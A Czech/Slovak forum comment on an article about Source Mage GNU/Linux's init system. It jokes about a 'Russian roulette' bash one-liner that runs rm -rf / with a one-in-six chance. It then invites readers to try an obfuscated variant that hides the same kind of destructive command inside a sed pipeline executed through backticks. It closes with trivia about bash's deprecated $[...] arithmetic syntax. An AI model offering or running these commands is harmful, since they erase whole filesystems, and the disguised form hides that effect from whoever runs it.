Vlákno názorů k článku
Source Mage GNU/Linux: Není init jako init

myslim, ze ta ruska ruleta v bashi a zsh ma byt takto:

<pre>
[ $(($RANDOM % 6)) = 0 ] && rm -rf /
</pre>

alebo skuste

<pre>
[ $(($RANDOM % 6)) = 0 ] && `echo 'RUSKA ruleta !' | sed 's/R\([^ ]\+\)/rx@ma -\1/g; s/U.*S.*a/vr/g; s,!,,g; y. /.a .; sux@ma.um ug; siaif hell !ig; yo!o/o'`
</pre>

I původní RR uvedená v článku je správně, jen není posixly correct :) $[...] je bashová featurka, která pravděpodobně vznikla ještě dříve než $((...)) a v manu od dnešních bashů se dozvíte, že stále existuje, ale is deprecated and will be removed in upcoming versions (když se nedáte zmýlit tím, že ji autor manu zmiňuje jako $[[...]]; hned mu pošlu bug report).